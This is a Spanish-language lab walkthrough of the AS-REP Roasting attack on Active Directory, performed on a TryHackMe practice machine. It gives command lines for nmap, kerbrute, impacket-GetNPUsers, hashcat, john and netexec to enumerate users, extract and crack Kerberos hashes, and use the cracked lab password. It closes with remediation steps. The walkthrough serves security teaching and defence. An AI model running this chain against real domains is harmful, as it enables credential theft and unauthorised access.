# Autenticación Kerberos y ataque AS-REP Roasting
El protocolo Kerberos es usado en la autenticación en entornos Windows/Active Directory (AD). Este permite que los usuarios y servicios se puedan autenticar entre sí de forma segura usando tickets en lugar de enviar las contraseñas.
El flujo típico de autenticación Kerberos funciona de la siguiente manera: - [AS-REQ] El usuario pide autenticarse al Domain Controller (KDC), enviando su nombre cifrado.
-
[AS-REP] El KDC responde con un Ticket Granting Ticket (TGT), cifrado con la clave del usuario.
-
El usuario usa ese TGT para pedir acceso a otros servicios (correo, archivos, etc.).
-
[TGS-REQ / TGS-REP] Se generan otros tickets para los servicios deseados (como HTTP, CIFS).
El AS-REP Roasting explota cuentas del AD que tienen mala configuración: "Do not require Kerberos preauthentication" (UF_DONT_REQUIRE_PREAUTH)". Normalmente, el usuario debe cifrar un timestamp con su contraseña para probar que es él (pre-autenticación), pero si esa opción está desactivada, cualquiera puede pedirle un ASP-REP al DC (Domain Controller) solo sabiendo únicamente el nombre de usuario.

# Enumeración de usuarios | Kerbrute
Para el siguiente ejemplo voy a utilizar la máquina gratuita Attacktive Directory de TryHackMe para mostrar el funcionamiento del ataque.
Lo primero que debemos hacer es identificar el nombre del dominio, lo cual podemos lograr utilizando Nmap como se muestra a continuación.
$ nmap -p- --open -sS -vvv -n -Pn <IP>$ nmap -p 389,636,3268,3269,88,445 --script ldap-search,ldap-rootdse <IP>Luego de identificar el nombre de dominio (spookysec.local), utilizando la herramienta de Kerbrute se procederá a realizar una enumeración de usuarios utilizando una wordlist propia o pública como SecLists.
$ ./kerbrute userenum --dc <IP> -d <nombre-dominio> <wordlist.txt>Conseguimos enumerar 10 usuarios, creamos un archivo y guardamos los usuarios enumerados. Posteriormente, utilizando la herramienta GetNPUsers de Impacket buscamos aquellos usuarios sin pre-autenticación Kerberos.
$ impacket-GetNPUsers <nombre-dominio/> -no-pass -usersfile <usuarios.txt> -dc-ip <IP>El usuario svc-admin devolvió su hash Kerberos. Lo que haremos es guardar el hash en un archivo para su posterior crackeo.
$ echo 'HASH' > <hash.hash>Finalmente, utilizamos la herramienta HashCat para intentar descifrar la contraseña. Tengan en cuenta que el tiempo necesario para realizar el crackeo dependerá de los recursos de hardware disponibles, del diccionario utilizado y del tiempo de ejecución.
$ hashcat -m 18200 <hash.hash> <wordlist.txt> --forceEn caso de que quieran utilizar John para crackear el hash, lo pueden hacer con el siguiente comando.
$ john <wordlist.txt> <hash.hash>Luego de que el atacante conozca el usuario (svc-admin) y su contraseña (management2005) podrá autenticarse al Domain Controller y enumerar recursos compartidos SMB de forma autenticada.
$ netexec smb <IP> -u '<usuario>' -p '<password>' --sharesAsí como también enumerar otros usuarios del AD.
$ netexec smb <IP> -u '<usuario>' -p '<password>' --users# SOLUCIÓN
Para solucionar la vulnerabilidad de "AS-REP Roasting" es necesario habilitar la preautenticación Kerberos de aquellas cuentas afectadas.
Pasos:
- 1: Abrir Active Directory Users and Computers (ADUC)
- 2: Buscar el o los usuarios afectados.
- 3: Ir a pestaña de Account y asegurarse de que NO esté marcada la opción "Do not require Kerberos preauthenticatiom".